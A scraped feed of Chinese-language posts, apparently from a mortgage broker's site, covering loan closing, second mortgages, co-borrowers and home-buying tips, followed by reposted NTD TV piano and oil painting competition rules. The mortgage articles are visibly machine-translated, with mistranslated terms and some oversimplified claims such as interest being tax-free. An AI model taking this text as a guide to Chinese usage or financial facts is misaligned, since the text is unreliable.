也就是“建立美国签证”(Build America Visa)计划欢迎“非凡人才”以及“专业和特殊技能人士”(也包括优秀学生)进入美国。

另外,全面翻新的移民计划将彻底改变目前的移民结构、改采“择优制”(merit-based),以及结束绿卡抽签计划,并且纳入加强边境安全及维护实体基础设施的项目。

并且新移民计划还将改变庇护申请程序,以及加快获合法庇护的审批程序。

2019-05-18 / by / in
你的房屋贷款结束的那一天会发生什么呢?

你的房屋贷款结束的那一天会发生什么呢

“关门那天和之后会发生什么?”“这是我们经常被问到的问题。


在最后一天,你将签署文件,以完成交易和释放资金从您的住房贷款。你还会收到所有签名文件的电子版或纸质版,以及你新家的钥匙。

这看起来很老套,但在很大程度上确实如此!大部分贷款处理工作将在此时完成。

在你即将成为一名房主的兴奋时刻,你可能会对关闭日到底发生了什么感到困惑。

以下是你在贷款结束当天可以期待的事情。

你的房屋贷款结束的那一天会发生什么呢

在使你的贷款成为可能的过程中,有几个“当事人”参与其中,他们也都在你的交易中起着一定的作用。其中包括您的信贷员或经纪人、您的房地产经纪人、律师、承销商、产权公司、卖方、卖方的房地产经纪人和您。

每一方都要确保你的贷款是正确和完整的。最后的“包裹”可以是相当广泛的,这就是为什么你会收到它在实际关闭日期前几天,给你时间来检查它。

有几个文件需要签名。他们可能会有所不同,但是,在大多数情况下,这些文件你将签署在关闭日:

关闭披露:这包括您的最终贷款条款和关闭成本的细节。

抵押贷款注意:这本质上是一个偿还贷款的“承诺”。

按揭或信托契据:列出如果你无法偿还贷款会发生什么情况的细节。

契约:这合法地将财产所有权转让给你。

结账日也是你支付结账费用和定金的日子。记住,这两种付款方式都应该使用保付支票,而不是现金或个人支票。一定要带一份你的保险证明复印件(别担心,我们会在截止日期提醒你的),就这样!

如果你的持有日期和截止日期相同,你就会收到钥匙。如果你的拥有日期不同,你会提前知道。您的购买协议上有说明,在您签字之前,我们会确保您清楚所有的截止日期细节。

关闭后

这些都是关门后会发生的事情。它们与你的贷款没有直接关系,只是需要记住几件事。

报价在邮件中。房屋销售是公开记录的,所以准备好接受大量邮寄的房屋服务、法律服务,甚至抵押贷款保护保险。

您可能会发现其中一些提供了有用的信息,但是在提交之前要进行研究。有些骗子会向你发送一份看上去像是来自信誉良好的贷款人或其他抵押贷款服务提供商的报价。

可能支付的变化。你的贷款条款不会改变,除非你有一个可调利率的贷款或者你再融资。然而,由于您的托管帐户的变化,您的付款可能略有不同。

例如,如果财产税或保险增加,你的按揭付款也会增加。永远不要担心“出价过高”。“如果你的托管账户有任何超支,你会得到退款。

2019-03-26 / by / in ,
何谓二按?

什么是第二按揭 ? 按揭是用地产作为抵押的贷款,按抵押的先后顺序在前面的为第一按揭,在后面的为第二按揭,如果按揭的结果是以拍卖地产而告终,借款人得到补偿的顺序也是第一按揭在先,第二按揭在后,可以看出,对借款人而言第一按揭的安全性远大于第二按揭,所以第二按揭的利息高于第一按揭。 绝大部分的按揭为第一按揭。


使用第二笔抵押贷款,就像你的秘密储备一样

第二抵押贷款是房屋净值贷款或房屋净值信贷额度,就像你最初的抵押贷款一样,第二抵押贷款是由你的房屋担保的。虽然对你的房子再申请一笔贷款似乎违反直觉,但第二笔抵押贷款是你在不卖掉房子的情况下利用你的资源的一种方式。

继续往下读,你会发现更多关于第二按揭的信息,以及你如何利用它来为自己谋利。

关于次级抵押贷款

第二种抵押贷款的两种主要类型是房屋净值贷款和房屋净值信贷额度。这两种住房贷款的主要区别之一是你如何收到钱和如何偿还。就像传统贷款一样,房屋净值贷款给你一笔总金额,你会定期偿还。利率通常与房屋净值贷款固定。

房屋净值信用额度更像信用卡。就像信用卡一样,你只有在需要的时候才使用你的信用卡。此外,利息只收取信用使用。利率通常是可调整的这种类型的第二按揭。

如何使用第二按揭

房主将他们的第二按揭用于各种各样的项目,比如支付房屋修缮或维修费用、购买第二套房或偿还债务。你可以用这些钱做什么有一些限制,但总的来说,你有很多选择。

不过,我要提醒你一句。虽然用这些钱去度假或疯狂购物可能没有限制,但我们建议你不要用你的第二按揭来支付这些费用。记住,你的房子是第二笔抵押贷款的担保,去欧洲旅行,无论多么壮观,都不值得拿你的房子冒险。

第二次抵押贷款的好处

最大的好处是你可以同时得到一大笔钱,并且可以立即用在你想要的任何东西上。此外,你支付的任何利息都可以免税。向你的税务顾问咨询更多信息。第二次抵押贷款的主要缺点是无力偿还贷款和失去房屋。

另一个缺点是涉及到费用,就像你的第一笔贷款一样。另外,如果你的分数不是那么好,你的利率就会在光谱的高端。

你能拿到多少钱?

数额取决于你的房屋净值、信用评分和贷款价值比。如果你的第一笔和第二笔抵押贷款的总价值比都大于75%到85%,你就不可能获得第二笔抵押贷款。

需要帮助计算比例吗?联系我们!

哪里可以获得第二笔抵押贷款

没有必要在你第一次贷款的地方获得第二次抵押贷款。这是个好消息,因为这让你重新拥有了力量!你不受制于一个贷款人,你可以利用我们办公室提供的独特机会。

2019-03-26 / by / in ,
什么是共同借款人?

共同借款人和抵押贷款共同签署人之间的差额

买房子通常意味着和另一个人一起买。可能是配偶、父母、成年子女、家庭成员或其他重要的人。如果你打算购买一套房子,并打算让另一方也参与进来,重要的是要知道在“购买伙伴”中应该寻找什么,以及共同借款人和共同签名者之间的区别。


什么是共同借款人?

共同借款人是财产的共同所有人。共同借款人的名字会出现在房屋的标题上,就在你的名字旁边。除了他们的名字在标题上,共同借款人的资产,信用记录,工作记录和债务评估,因为他们也在向你申请住房贷款。如果你想获得一笔更大的贷款,或者由于共同借款人的高信用评分,你想获得更好的利率,使用共同借款人是有帮助的。从共同借款人的角度来看,他们的优势是共同拥有财产。

我们有这样的场景,一个借款人“提供”首付款,而另一个“提供”信贷。通过共同借贷,他们能够购买一套房产,而如果他们各自申请的话,购买这套房产将会非常困难。

什么是联名签名者?

一个共同签名者和你一起申请住房贷款。然而,他们并没有对房屋的标题。联名签名者的名字只出现在贷款上,这意味着虽然他们在财务上有责任偿还抵押贷款,但他们并不拥有该房产的所有权。有共同签名者的原因各不相同,但总是与协助购房有关。如果你需要提高债务收入比,需要显示更高的信用评分,或者证明你有出色的财务历史,联名签署人可以帮你做到这一点。

选择一个值得信赖的共同借款人或共同签名者

关于谁每月还款的细节以及每月还款的金额,你和你的共同借款人或共同签署人必须就这些细节达成个人共识。这就是为什么选择一个你信任的、在经济上有责任感的人是至关重要的。

请记住,由于某些不可预见的原因,您的共同借款人或共同签署人不能作出他们的贡献,您仍然要对贷款负责。

如果你在另一边,意思是你是共同借款人或共同签署人,而另一方不付款,你仍然要负责。然而,如果你是这种情况下的共同借款人,你就有优势。如果另一方停止支付,作为共同所有人,你可以占有财产。

作为共同签署人,情况并非如此。

请记住,共同签名者并不在财产的所有权上,也不能拥有它。

与共同借款人或共同签名者一起申请住房贷款

和伴侣一起申请住房贷款和单独申请是一样的。双方均需提供收入证明、资产证明、银行对账单、身份证明等文件。

开始申请过程也一样简单,可以在这里,在我们的网站上完成。只要填写我们网站上的在线表格,你就可以拥有自己的房子了!

有更多的问题吗?想知道哪种贷款适合你?今天就联系我们,并从一个专业的抵押贷款得到个性化的帮助。

2019-03-26 / by / in ,
5个秘诀让你买到你喜欢的房子

买一个你会喜欢的房子的5个秘诀

大多数买房子的建议都是从计算你能负担多少钱和申请住房贷款开始的(这些建议都很好,我们建议你在买新房子的时候做这两件事)。


但还有什么呢?买房子有什么不太为人所知的小窍门可以产生很大的影响吗?是的!

从我们的经验和我们的房地产同行的经验来看,这些都是购买你会喜欢的房子的最鲜为人知的秘密。

知道你的边界

曾经有这样的情况,前业主模糊了合法的财产界限,占用了比实际多一点的空间。与其发现你需要把篱笆向内移动三英尺,或者可能需要改造你的车库,因为它已经超出了房产界线,还不如找一个测量师来画出合法的房产界线。

越大并不总是越好

拥有一个大房子是美国梦。事实上,我们经常用房子的大小或价格来衡量我们的成功,想要一栋街区里最好的房子是很自然的。但是考虑一下:如果你打算转售你的房子,这个街区最好的房子将会比其他房子更便宜。房屋价值不仅基于单个的房屋,还基于周围的房屋——本质上是对该地区房屋的售价设定一个上限。

不要试图把握市场时机

你可能听说过“买方市场”和“卖方市场”这样的术语(我们也使用这些术语),但事实是,任何时候都是购买的好时机。房价和利率是循环往复的,虽然它们不一定是可以预测的。所以,如果你正在等待市场正好在你买房子之前,你将会等待一段时间。

不要只从情绪上购买

有些人错误地太快爱上一个家,以至于他们看不到潜在的问题。例如,买一个房子,因为它有一个定制的树屋和儿童玩具,但忽视了它将增加20分钟的工作通勤是一个问题。根据逻辑和直觉购买,不要过于依赖情感。

理解邻里之间的细微差别

为了真正感受住在附近的感觉,你必须在白天和晚上的不同时间去参观。例如,在周二下午,一切似乎都很安静,但你不知道的是,你未来的邻居喜欢在周六下午用他的曲子来修车。你觉得可以吗?就像在你承诺之前和别人约会一样,在你答应之前和你的邻居约会。

 

2019-03-25 / by / in ,
提高抵押贷款利率——你还应该在2019年买房吗?

提高抵押贷款利率——你还应该在2019年买房吗?

加息的消息是否会让你在2019年第一次买房时三思而后行?不应该,原因如下:


更高的利率,但并不高得吓人

标题上写着“联邦政府提高抵押贷款利率——自2014年以来最高”,难怪你怀疑现在是买第一套房子的好时机。虽然抵押贷款利率确实高于2014年,但从历史上看,这一增幅讲述了一个不同的、充满希望的故事。2017年,购房者利用了一个有利的环境,包括更高的就业率和较低的抵押贷款利率。

然而,我们必须记住,尽管利率很低,但实际上比前几年都高!

你们很多人都还记得,2008年标志着美国可怕经济的开始,失业率越来越接近10%,那些有工作的人没有多少工作稳定性。可以理解的是,美联储不得不采取措施,通过降低利率把我们拉出衰退——但其目标一直是随着经济复苏逐步提高利率。

这就是他们一直在做的,相对于经济实力,他们在缓慢增长。

尽管房价上涨了,你仍然买得起房子

在竞争激烈的房地产市场上,你担心自己会被出价超过。但在抵押贷款利率较高的市场,这是否意味着你完全退出了呢?不!

虽然当前的利率上调和美联储计划中的加息会改变一些事情,但它不会显著改变你作为潜在购房者的购买力。

你有多少资格申请贷款,更多的是取决于你的收入、债务、信用评分以及你可以首付的金额,而与抵押贷款利率关系不大。

然而,利率确实会影响你的月供。因此,对于那些拥有固定月供窗口的购房者来说,利率的上升可能会改变你正在看的房子的挂牌价格。从好的方面来看,利率的提高有时意味着要价的降低——再次强调,尽管利率提高了,但仍能确保你以合理的成本和负担得起的月供购买梦想中的房子。

2019年是买房的好时机

不要让高利率的炒作吓到你,让你以为你错过了买第一套房子的机会。当你从历史的角度审视当前的抵押贷款利率时,你会发现这是一个强劲经济的迹象,适度的增长对你的购买力几乎没有影响。

2019-03-25 / by / in
提前还清抵押贷款值得吗?

提前还清抵押贷款值得吗?

尽快还清债务总是一件好事,但这条规则也适用于抵押贷款债务吗?每月额外支付一笔钱来提前还清抵押贷款值得吗?


利:节省利息

对你的抵押贷款的本金余额进行额外的支付可以通过降低你支付的利息来帮你省钱。虽然你可以在任何时候为你的原则支付额外的费用,但这种方法在你第一次获得贷款时是最有效的。这是因为贷款开始时本金更高。因此,你要支付更多的利息。支付额外的费用会随着时间的推移而节省利息。

弊:错失其他投资机会

如果你有多余的现金用于支付额外的费用,那就意味着你有多余的现金用于投资。你可以让你的钱为你工作,而不是试图在你的抵押贷款上省钱。为你的401(k)计划多缴一些钱,特别是当你离退休还有10年或更长时间的时候,会带来可观的收入——有时甚至超过你提前还清抵押贷款所能省下的钱。


正面观点:心态平和

减少每月的开销会让你心平气和,考虑到你的按揭付款可能是你最大的开销,你可以开始想象如果早点把它取消会有多好。此外,当计算生活成本、通货膨胀以及平均固定退休收入时,摆脱住房支出变得更有吸引力。

反面观点:预付罚金——有时

有些抵押贷款带有提前还款罚金,这意味着你被限制在什么时候可以还清多少钱。虽然这看起来不公平,但也不全是坏消息。带有提前还款罚金的贷款通常有较低的利率或其他优惠,可以帮你省钱。

说到底,提前还清房贷是个人的决定,而不是放之四海而皆准的决定。这取决于你的支付能力、贷款类型、贷款的成熟度、你的额外现金在其他投资中是否更有用、你离退休有多近,以及其他因素。

 

即使你现在没有房子,如果你打算提前还清抵押贷款,你也要确保你选择了一种允许提前还款的住房贷款。

 

2019-03-25 / by / in ,
如何报名参加国际钢琴大赛?报名电话(1 888 878 6166),(2019年新唐人国际钢琴大赛)

[arve url=”https://www.youtube.com/watch?v=JjXWxpqWvrA” title=”如何報名參加國際鋼琴大賽? 2019年新唐人國際鋼琴大賽報名電話1 888 878 6166″ description=”國際鋼琴大賽 2019年新唐人電視台第五界國際鋼琴大賽 開始報名 報名熱線:1-888-878-6166 郵箱:piano@globalcompetitions.org 網址:https://competitions.ntdtv.com/piano/… 一、大賽宗旨 本屆「國際鋼琴大賽」是由新唐人電視台主辦的國際文化藝術比賽系列賽事之一。比賽宗旨是為了弘揚純真、純善、純美的正統藝術,重現巴洛克、古典直至浪漫主義時期鋼琴音樂的華彩樂章。 大賽通過對藝術的至誠追求,傳承擁有250 年歷史的鋼琴文獻遺產,並將其發揚光大。這些音樂是人類文化的瑰寳,應澤被後世。 二、主辦單位 「國際鋼琴大賽」於2008 年由新唐人電視台創辦。作為海外最大的中文媒體集團,我們通過電視,報紙,雜誌,網絡,社交媒體向全球的觀眾傳播正統的文化。本次大賽複賽和決賽全球網絡直播。比賽錄像由新唐人電視台製作後通過電視播放。 三、比賽日程 2019 年新唐人電視台「國際鋼琴大賽」將於9 月26 日到28 日在紐約市巴魯克大學(Baruch College)英格曼表演藝術中心(Engelman Recital Hall, Baruch Performing Arts Center)舉行。 四、比賽規則 1)評委 所有參賽選手將由新唐人電視台特邀的評委進行評選。擔任評委的是資深鋼琴家和鋼琴教育家。評委對所有參賽選手的表現進行評判。評委對所有輪次的決定均為最終決定。 2)著裝要求 要求參賽者在各輪比賽中穿著正式演出服,男士穿深色西裝或燕尾服,女士穿正式 的晚禮服。 3) 基本要求 要求參賽者背譜演奏,違規者評委有權中斷參賽者的演奏。 4) 其它規定 參賽者一經申請比賽,即視為認同本項大賽的相關規則。 參賽者必須遵守大賽組委會的安排。違規者,大賽委員會有權撤銷其參賽資格及 取消獎金。 新唐人電視台擁有對大賽期間製作的圖片、文字、音頻及視頻等產品的所有版 權。 頒發的獎狀和獎金要求由獲獎選手在頒獎典禮上親自領取。 比賽期間如有意外情況發生,參賽者須自行應對並承擔相關責任。 根據比賽需求,大賽組委會有修改比賽章程的權利。 五、獎項設置 金獎:$10,000 (一名) 銀獎:$6,000 (一名) 銅獎:$3,000 (一名) 複賽指定曲目獎:$3,000(一名) 獎金由RiskVal公司贊助 六、參賽曲目 2019年新唐人國際鋼琴大賽曲目 初賽兩首 1. 巴哈 a小調前奏曲與賦格 BWV894 或 巴哈 十二平均律Book 1, 2任何一組前奏曲與賦格 2. 從下列作品中任選一首 1.聖桑:練習曲,Op.52 No.6, “ En forme de valse” 2.聖桑:練習曲, Op. 111 No. 6, “ Toccata d’après le cinquième concerto” 3.蕭邦: 練習曲, 任選下列一首 1) Op.10: No.1, No.2, No.4, No.7, No.8, No.10, No.12 2) Ор.25: No.6, No.8, No.10, No.11, No.12 複賽兩首 1. 指定曲目(Commissioned Composition) 2. 貝多芬鋼琴奏鳴曲:任選下列一首 1.Sonata No.3 in C Major, op.2 No.3 2.Sonata No.17 in D Minor, op.31 No.2 3.Sonata No.18 in E-flat Major, op.31 No.3 決賽兩首 決賽將有40分鐘的演奏時間,曲目將由參賽者自己選擇。在比賽中不可重複彈奏任何作品。 (演奏曲目必須選自巴洛克,古典 及浪漫樂派,且必須創作於1900年之前。 自選曲目需由評委會審核) 請參考本大賽過去多年的指定曲目 拉赫曼您諾夫 鋼琴奏鳴曲第二號 (1913 版本) 巴哈-布索尼 D小調夏康舞曲 法蘭克 前奏曲,聖詠與賦格 蕭邦 平靜的行版與華麗的大波蘭舞曲作品22號 舒曼 交響練習曲作品13號 結合 拉赫曼尼諾夫 繪畫練習曲 作品33 及39 號 (自由結合3 或4 首) 孟德爾頌 莊嚴變奏曲 作品54號 七、申請參賽 1)參賽資格 世界各國鋼琴家,演奏家,鋼琴教師及在校學生均可參賽。參賽者年齡須在17-50歲之間。 2)申請方法 1.申請截止日期:8月9日。所有申請材料都要在截止日期之前提交給大賽組委會。 2.申請方法: 註冊: 點擊在線註冊 郵箱: piano@globalcompetitions.org 熱線: 1-888-878-6166 傳真: 1-888-567-0906 郵寄:NTDTV International Piano Competition 229 West 28th St.,7th Floor,New York, NY 10001.USA 3. 參賽者必須提供以下材料: 完整填寫的報名表: 2019年新唐人電視國際鋼琴比賽申請表 參賽者低於18歲需有效監護人簽字: 過去12個月內拍攝的照片,電子版職業照最佳。 有效證件複印件。 演奏視頻 以上材料務必在申請截止日期之前提交給大賽組委會。所有 材料恕不退還。 4. 報名費$150,不可退。接受網絡支付、信用卡、出納支票、旅行 支票或匯票。支票臺頭請寫:New Tang Dynasty Television 3)資格賽 參賽者需要提供以下視頻材料: 參賽者須提供一份二十四個月以內錄製的音樂會/獨奏音樂會 DVD。資格賽視頻中演奏的曲目限於巴洛克,古典和浪漫時期作品。 提交的視頻類型必須是在線可觀看的鏈結、可下載的鏈結或者是參賽者演奏的DVD可以是本人獨奏,也可以是與樂隊的協奏。演奏長度必須在10分鐘到30分鐘之間。 申請表C對應的網上申請表必須與視頻一起提交。 資格賽通過後: 大賽組委會將給通過的選手郵寄參賽邀請函。邀請函原件可用於申請來美簽證。 需要邀請函原件者,用於辦理美國簽證的選手,需額外支付$50國際快遞費。請在申請表上註明。 大賽組委會將於8月11日,郵件發送複賽指定曲目(Commissioned Composition)給所有參賽選手。 八、問題和解答 問:比賽的申請和註冊流程是什麼? 答:請在註冊前閱讀“規則與條例”Rules & Regulations。 填寫申請表的在線或下載表格:下載2019年新唐人電視國際鋼琴比賽申請表 提交資格賽視頻文件,單人演出或與管弦樂隊/合奏團合作均可,也可提供在過去24個月內錄製的演奏視頻:視頻的持續時間必須在10分鐘以上,30分鐘以内。資格賽視頻中演奏的曲目限於巴洛克,古典和浪漫時期作品。申請表格C或其在線申請表中的對應部分必須與資格賽視頻一起提交。您可以選擇以下方法之一來提交申請表: a)點擊在線註冊 b)通過電子郵件將註冊包發送至: piano@globalcompetitions.org c)將註冊包郵寄至: NTDTV International Piano Competition 229 West 28th St.,7th Floor New York,NY 10001.USA d)傳真:1-888-567-0906 只有在提交了所有必需的申請信息和報名費後,申請才生效。 問: 是否有年齡限制? 答:比賽年齡17-50歲。 問:報名費是多少? 答:$150.00。 問:大賽組委會是否幫助安排在大賽期間的住宿和練習場地? 答:大賽組委會將提供安排比賽期間選手在紐約住宿的酒店,費用自理;練習場地,根據選手要求大賽組委會協助預定,費用選手自理。 問:何時以及如何收到複賽指定曲目(Commissioned Composition)? 答:複賽指定曲目(Commissioned Composition)將於8月11日,通過電子郵件發送給所有通過資格賽的參賽選手。 問:有多長時間練習複賽指定曲目(Commissioned Composition)? 答:8月11日收到指定作品,至9月25日參賽者將有45天練習複賽指定作品(Commissioned Composition),參賽者必須背譜彈奏。 問:我對本次比賽如有其他疑問,如何進行諮詢? 答:您可以通過熱線及電子郵件聯繫大賽組委會。 熱線:1-888-878-6166 郵箱:piano@globalcompetitions.org” duration=”31S” autoplay=”yes” /]

国际钢琴大赛2019年新唐人电视台第五界国际钢琴大赛开始报名
报名热线:1-888-878-6166
邮箱:piano@globalcompetitions.org
网址:https://competitions.ntdtv.com/piano/chinese/

钢琴大赛海报
一,大赛宗旨

本届「国际钢琴大赛」是由新唐人电视台主办的国际文化艺术比赛系列赛事之一。比赛宗旨是为了弘扬纯真,纯善,纯美的正统艺术,重现巴洛克,古典直至浪漫主义时期钢琴音乐的华彩乐章。
大赛通过对艺术的至诚追求,传承拥有250年历史的钢琴文献遗产,并将其发扬光大。这些音乐是人类文化的瑰宝,应泽被后世。

二,主办单位

「国际钢琴大赛」于2008年由新唐人电视台创办。作为海外最大的中文媒体集团,我们通过电视,报纸,杂志,网络,社交媒体向全球的观众传播正统的文化。本次大赛复赛和决赛全球网络直播。比赛录像由新唐人电视台制作后通过电视播放。

三,比赛日程

2019年新唐人电视台「国际钢琴大赛」将于9月26日至28日在纽约市巴鲁克大学(Baruch College)英格曼表演艺术中心(Engelman Recital Hall,Baruch表演艺术中心)举行。

四,比赛规则

1)评委

所有参赛选手将由新唐人电视台特邀的评委进行评选。担任评委的是资深钢琴家和钢琴教育家。评委对所有参赛选手的表现进行评判。评委对所有轮次的决定均为最终决定。

钢琴大赛评委姚妼姬

姚妼姬
姚妼姬教授在紐約,韓國和美國東南部擁有豐富的教學和表演經驗。她在中國著名的星海音樂學院獲得學士學位,在喬治亞州立大學獲得了鋼琴演奏碩士,並在鋼琴協奏曲比賽中獲得一等獎。在美期間,她在曼哈頓音樂學院師從Seymour Lipkin四年,並獲得了全額獎學金。她曾任教於北喬治亞州立大學, 擔任鋼琴和音樂欣賞講師。自2012年以來,姚教授在飛天大學音樂系任教。從2008年至2014年,她受邀擔任新唐人電視台中國鋼琴比賽評委,2014年和2016年擔任評委會主席。

钢琴大赛评委劉紹山

劉紹山

劉紹山博士是鋼琴,音樂理論和音樂史教授,也是卓越有成的鋼琴和古箏演奏家。同時,她還是一位才華橫溢的作曲家:她的許多作品都在神韻藝術團全球巡演中被演奏。她獲得了德克薩斯大學奧斯汀分校的鋼琴演奏博士和伊利諾伊大學厄本那 – 香檳分校的鋼琴演奏碩士。她在德克薩斯州教學和演奏多年,她的學生在各種比賽中獲得了許多榮譽和獎項。劉教授本人曾獲頒NISOD教學和領導力卓越獎,以表彰她傑出的教學成就。作為評委,她活躍於各大鋼琴比賽,並受邀為2016年新唐人電視台國際鋼琴大賽編寫指定作品。劉博士自2016年起成為飛天大學音樂系的成員,教授鋼琴,音樂理論和西洋音樂史。

钢琴大赛评委Janara Khassenova

Janara Khassenova

鋼琴家Janara Khassenova來自哈薩克斯坦,曾在莫斯科國立音樂學院學習,並完成了研究生課程。在美國期間,她在Longy音樂學院取得室內樂藝術文憑。Khassenova 活躍與各種音樂場合,與不同音樂家合作。她與室內樂團和管弦樂團的演出,遍及前蘇聯,意大利,希臘以及美國。她目前任教於巴德學院音樂學院預科部,並在紐約市教授鋼琴。Khassenova自2014年起擔任新唐人電視的藝術顧問並被邀請擔任新唐人2016年國際鋼琴大賽評委。

2)着装要求

要求参赛者在各轮比赛中穿着正式演出服,男士穿深色西装或燕尾服,女士穿正式
的晚礼服。

3)基本要求

要求参赛者背谱演奏,违规者评委有权中断参赛者的演奏。

4)其它规定

参赛者一经申请比赛,即视为认同本项大赛的相关规则。
参赛者必须遵守大赛组委会的安排。违规者,大赛委员会有权撤销其参赛资格及
取消奖金。
新唐人电视台拥有对大赛期间制作的图片,文字,音频及视频等产品的所有版
权。
颁发的奖状和奖金要求由获奖选手在颁奖典礼上亲自领取。
比赛期间如有意外情况发生,参赛者须自行应对并承担相关责任。
根据比赛需求,大赛组委会有修改比赛章程的权利。
五,奖项设置
金奖:$ 10,000(一名)
银奖:$ 6,000(一名)
铜奖:3,000美元(一名)
复赛指定曲目奖:$ 3,000(一名)
奖金由RiskVal公司赞助
六,参赛曲目

2019年新唐人国际钢琴大赛曲目
初赛两首
1.巴哈小调前奏曲与赋格BWV894或巴哈十二平均律书1,2,任何一组前奏曲与赋格
2.从下列作品中任选一首
1.圣桑:练习曲,Op.52 No.6,“En forme de valse”
圣桑:练习曲,作品。 111 No. 6,“Toccata d’aprèslecinquièmeconcerto”
萧邦:练习曲,任选下列一首
1)Op.10:No.1,No.2,No.4,No.7,No.8,No.10,No.12
2)Ор.25:No.6,No.8,No.10,No.11,No.12
复赛两首
1.指定曲目(委托作文)
2.贝多芬钢琴奏鸣曲:任选下列一首
1.C大调3号,2号
2. D小调第17号,第31号第2号
3.Sunata 18号E-flat Major,op.31 No.3
决赛两首
决赛将有40分钟的演奏时间,曲目将由参赛者自己选择。在比赛中不可重复弹奏任何作品。
(演奏曲目必须选自巴洛克,古典及浪漫乐派,且必须创作于1900年之前。自选曲目需由评委会审核)
请参考本大赛过去多年的指定曲目
拉赫曼您诺夫钢琴奏鸣曲第二号(1913年版)
巴哈 – 布索尼D小调夏康舞曲
法兰克前奏曲,圣咏与赋格
萧邦平静的行版与华丽的大波兰舞曲作品22号
舒曼交响练习曲作品13号
结合拉赫曼尼诺夫绘画练习曲作品33及39号(自由结合3或4首)
孟德尔颂庄严变奏曲作品54号
七,申请参赛

1)参赛资格

世界各国钢琴家,演奏家,钢琴教师及在校学生均可参赛。参赛者年龄须在17-50岁之间。

2)申请方法

1.申请截止日期:8月9日所有申请材料都要在截止日期之前提交给大赛组委会。
2.申请方法:
注册:点击在线注册
邮箱:piano@globalcompetitions.org
热线:1-888-878-6166
传真:1-888-567-0906
邮寄:新唐人电视台国际钢琴比赛
229 West 28th St.,7th Floor,New York,NY 10001.USA
3.参赛者必须提供以下材料:
完整填写的报名表:2019年新唐人电视国际钢琴比赛申请表
参赛者低于18岁需有效监护人签字:
过去12个月内拍摄的照片,电子版职业照最佳。
有效证件复印件。
演奏视频
以上材料务必在申请截止日期之前提交给大赛组委会。所有
材料恕不退还。
4.报名费$ 150,不可退。接受网络支付,信用卡,出纳支票,旅行
支票或汇票。支票台头请写:新唐朝电视台
3)资格赛

参赛者需要提供以下视频材料:
参赛者须提供一份二十四个月以内录制的音乐会/独奏音乐会DVD。资格赛视频中演奏的曲目限于巴洛克,古典和浪漫时期作品。
提交的视频类型必须是在线可观看的链结,可下载的链结或者是参赛者演奏的DVD可以是本人独奏,也可以是与乐队的协奏。演奏长度必须在10分钟到30分钟之间。
申请表Ç对应的网上申请表必须与视频一起提交。
资格赛通过后:

大赛组委会将给通过的选手邮寄参赛邀请函。邀请函原件可用于申请来美签证。
需要邀请函原件者,用于办理美国签证的选手,需额外支付$ 50国际快递费。请在申请表上注明。
大赛组委会将于8月11日,邮件发送复赛指定曲目(委托作曲)给所有参赛选手。
八,问题和解答

问:比赛的申请和注册流程是什么?

答:请在注册前阅读“规则与条例”规则与条例。

填写申请表的在线或下载表格:下载2019年新唐人电视国际钢琴比赛申请表
提交资格赛视频文件,单人演出或与管弦乐队/合奏团合作均可,也可提供在过去24个月内录制的演奏视频:视频的持续时间必须在10分钟以上,30分钟以内资格赛视频中演奏的曲目限于巴洛克,古典和浪漫时期作品申请表格ç或其在线申请表中的对应部分必须与资格赛视频一起提交您可以选择以下方法之一来提交申请表。:
一)点击在线注册
b)通过电子邮件将注册包发送至:piano@globalcompetitions.org
c)将注册包邮寄至:新唐人电视台国际钢琴比赛
229 West 28th St.,7th Floor纽约,NY 10001.USA
d)传真:1-888-567-0906
只有在提交了所有必需的申请信息和报名费后,申请才生效。

问:是否有年龄限制?

答:比赛年龄17-50岁。

问:报名费是多少?

答:$ 150,00。

问:大赛组委会是否帮助安排在大赛期间的住宿和练习场地?

答:大赛组委会将提供安排比赛期间选手在纽约住宿的酒店,费用自理;练习场地,根据选手要求大赛组委会协助预定,费用选手自理。

问:何时以及如何收到复赛指定曲目(委托作文)?

答:复赛指定曲目(委托作文)将于8月11日,通过电子邮件发送给所有通过资格赛的参赛选手。

问:有多长时间练习复赛指定曲目(委托作文)?

答:8月11日收到指定作品,至9月25日参赛者将有45天练习复赛指定作品(委托作曲),参赛者必须背谱弹奏。

问:我对本次比赛如有其他疑问,如何进行咨询?

答:您可以通过热线及电子邮件联系大赛组委会。
热线:1-888-878-6166
邮箱:piano@globalcompetitions.org

2019-03-05 / by / in , ,
國際繪畫比賽2019,油畫比賽2019,2019美術比賽,全世界人物寫實油畫大賽熱線電話:1-888-878-6166 (或台灣 0800-281-182)

[arve url=”https://www.youtube.com/watch?v=0Go6epc4lvc” title=”國際繪畫比賽2019年(新唐人第五屆全世界人物寫實油畫大賽)開始報名投稿截止日期:7月15日金獎一名,獎金10,000美金,銀獎二名,獎金各3,000美金,銅獎三名​​,獎金各1,500美金,傑出技術” description=”國際繪畫比賽2019,油畫比賽2019,2019美術比賽,全世界人物寫實油畫大賽 由新唐人電視台舉辦的第五屆“全世界人物寫實油畫大賽”將於2019年11月在紐約舉辦入圍作品展覽,本大賽要求以人物為創作對象,既注重技法,又注重內涵,以恢復傳統油畫藝術為目的。 官方網站:詳情介紹(報名等) https://oilpainting.ntdtv.com/index.h… 大賽組委會歡迎全球油畫藝術家為恢復正統美術而共襄盛舉。如果您的作品是用正統寫實技法創作、表達傳統價值的,就有機會獲選入圍,凡入選作品將有機會參加以下活動; 1、在美國紐約著名的SalmagundiArtClub(http://www.salmagundi.org)展示作品,該俱樂部位於… 2、在全世界發行的畫冊中收錄您的作品﹔ 3、接受國際媒體的採訪、甚至專訪﹔ 4、作品有機會入選全球巡展; 5、獲頒國際大賽入圍証書、或獲獎証書和獎牌,其可作為申請特殊人才美國綠卡所需專業成就或升職、晉級的証明﹔ 6、參與著名藝術場館現場經典美術作品的研討與交流﹔ 7、與引領世界油畫藝術發展方向的權威專家當面研討﹔ 8、作品可能被著名機構或個人收藏; 9、作品可以參與在入圍作品展覽現場的拍賣﹔ 10、作品可能被大賽主辦單位選中進行復制、銷售。 本大賽獎項設立如下: 金獎一名,獎金10,000美金﹔ 銀獎二名,獎金各3,000美金﹔ 銅獎三名,獎金各1,500美金﹔ 傑出技術獎若干名,獎金各1,000美金﹔ 傑出人文獎若干名,獎金各1,000美金﹔ 傑出新秀獎若干名,獎金各1,000美金﹔ 優秀獎若干名。 報名、投稿截止日期:2019年7月15日 入圍作品展覽日期:2019年11月24日至30日 入圍作品展覽場地:SalmagundiArtClub(475thAvenue,NewYork,NY10005) 2019 新唐人電視台第五屆 「全世界人物寫實油畫大賽」章程 一、 大賽宗旨 「全世界人物寫實油畫大賽」是以「純真、純善、純美」為宗旨、以恢復傳統文化與藝術為目的 的美術大賽,要求以正統寫實技法,創作表現善與美的人物油畫。 二、主辦單位 「全世界人物寫實油畫大賽」由新唐人電視台主辦。 三、獎項設置 